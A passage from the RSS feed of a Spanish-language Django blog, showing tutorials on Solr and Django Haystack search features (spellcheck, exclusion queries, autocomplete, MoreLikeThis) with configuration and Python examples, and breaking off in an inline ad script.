style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;explicit&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rows&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;10&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.dictionary&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;default&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;on&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.extendedResults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.count&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;10&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.alternativeTermCount&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.maxResultsForSuggest&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.collate&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.collateExtendedResults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.maxCollationTries&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;10&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.maxCollations&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lst&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;arr&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;last-components&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&amp;gt;&lt;/span&gt;spellcheck&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/arr&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/requestHandler&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la configuración quedó de manera correcta, podremos obtener sugerencias para nuestras búsquedas de la siguiente manera.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auto_query(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;mla ecsrito&amp;gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;spelling_suggestion() &lt;span style=&#34;color:#78787e&#34;&gt;# u&amp;#39;mal escrito&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos permite corregir pequeños errores en la búsqueda, justo como si usaramos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;trigramas en Postgres y Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Activar esta búsqueda me costó muchísimo trabajo, parece que no se activa por defecto y que tienes que realizar una visita a la url con &lt;em&gt;&amp;amp;spellcheck.reload=true&lt;/em&gt; para que se genere el índice adecuado, pero quien sabe, quizás en versiones más nuevas no sea necesario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://127.0.0.1:8983/solr/#/&amp;lt;instancia&amp;gt;/query?q&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;text:&amp;lt;termino&amp;gt;&amp;amp;q.op&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;OR&amp;amp;&lt;span style=&#34;color:#ff5c57&#34;&gt;spellcheck&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;true&amp;amp;spellcheck.q&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&amp;lt;termino&amp;gt;&amp;amp;spellcheck.reload&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;busquedas-excluyentes-y-exactas-con-solr&#34;&gt;Búsquedas excluyentes y exactas con Solr&lt;/h2&gt;&#xA;&lt;p&gt;Solr nos permite realizar búsquedas avanzadas usando el método &lt;em&gt;auto_query&lt;/em&gt;, que nos permitirá una sintaxis de búsqueda similar a la que ofrece google y otros motores populares.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Usa un guion (&amp;quot;-&amp;quot;) para excluir resultados que incluyan esos términos&lt;/li&gt;&#xA;&lt;li&gt;Usa comillas dobles (&amp;quot;&amp;quot;) para establecer el orden correcto de las palabras&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auto_query(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;termino&amp;gt; -&amp;lt;excluye&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;otra_query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auto_query(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&amp;lt;orden exacto&amp;gt;&amp;#34; -&amp;lt;excluye&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;autocompletado-con-solr&#34;&gt;Autocompletado con Solr&lt;/h2&gt;&#xA;&lt;p&gt;También podemos realizar un autocompletado de nuestro término de búsqueda, para que nos arroje algunas sugerencias válidas.&lt;/p&gt;&#xA;&lt;p&gt;Para eso necesitamos primero crear un campo nuevo en nuestra clase que sirve como índice de búsqueda.&lt;/p&gt;&#xA;&lt;p&gt;Usamos cualquier nombre y generalmente estarás usando un campo de tipo &lt;em&gt;EdgeNgramField&lt;/em&gt;, de la misma manera, declaramos el campo de nuestro modelo al que hará referencia, en este caso name. La otra opción es un campo &lt;em&gt;NgramField&lt;/em&gt; pero se suele usar para lenguajes asiáticos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name_autocomplete &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;EdgeNgramField(model_attr&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora en la búsqueda&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SearchquerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;autocomplete(name_autocomplete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;incompl&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Devolverá resultados para: &amp;#39;incompleto&amp;#39;, &amp;#39;incompletitud&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;resultados-relacionados-o-similares&#34;&gt;Resultados relacionados o similares&lt;/h2&gt;&#xA;&lt;p&gt;A veces queremos obtener más de un mismo objeto, esto es ideal para recomendaciones de productos en tiendas en linea. Para esto existe el método &lt;em&gt;more_like_this&lt;/em&gt;, al cual le pasamos una instancia de un modelo de Django y nos retornará objetos similares.&lt;/p&gt;&#xA;&lt;p&gt;Pero para que funcione, primero agregaremos el handler a nuestro archivo de &lt;em&gt;solrconfig.xml&lt;/em&gt; en la configuración de nuestro núcleo de solr.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;requestHandler&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/mlt&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.MoreLikeThisHandler&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lst&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;defaults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.mintf&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.mindf&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.minwl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.maxwl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;15&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.maxqt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;20&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mlt.match.include&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;false&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lst&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/requestHandler&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No importa que como obtengas la instancia, ni cual sea, lo importante es que obtengas una sola instancia y la pases como parámetro al método &lt;em&gt;more_like_this&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;instance &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(name__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;algo&amp;gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# otro ejemplo: &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# instance = Videogame.objects.get(pk=5)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;related &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;more_like_this(instance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este solo fue un resumen de algunas de las funciones más útiles, para una lista completa revisa la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-haystack.readthedocs.io/en/master/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de django haystack&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Solr, en unión con Lucene, conforman un motor de búsqueda muy potente que permite realizar búsquedas con funciones avanzadas. en esta entrada te traigo un resumen con  algunas de las funciones más interesantes de Solr y Django Haystack.&lt;/p&gt;&#xA;&lt;p&gt;Doy por sentado que ya tienes una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/&#34;&gt;aplicación configurada de django con Solr&lt;/a&gt;&#xA;, en caso de que no, revisa mi entrada anterior.&lt;/p&gt;&#xA;&lt;h2 id=&#34;comportamiento-de-las-busquedas-por-defecto-and-y-or&#34;&gt;Comportamiento de las búsquedas por defecto AND y OR&lt;/h2&gt;&#xA;&lt;p&gt;Haystack nos permite definir un comportamiento por defecto para todas las búsquedas, ya sea unir los términos con operadores AND u OR. El valor por defecto es AND pero puedes modificarlo en el archivo de configuración.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo implementar Solr para búsquedas o queries en Django?</title>
      <link>https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/</link>
      <pubDate>Thu, 26 May 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/</guid>
      
      <category>django</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Anteriormente te expliqué como implementar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/full-text-search-y-busquedas-con-django-y-postgres/&#34;&gt;full text search en Django&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;trigramas y search rank&lt;/a&gt;&#xA; usando Postgres. Solr viene a ofrecernos algo mejor, un motor de búsquedas robusto, estable y con muchas funciones avanzadas, listo para usarse, a cambio de un poco más de complejidad, más dependencias y tener que incluir Java (sí, Java) en nuestro projecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-solr&#34;&gt;¿Cómo funciona Solr?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = 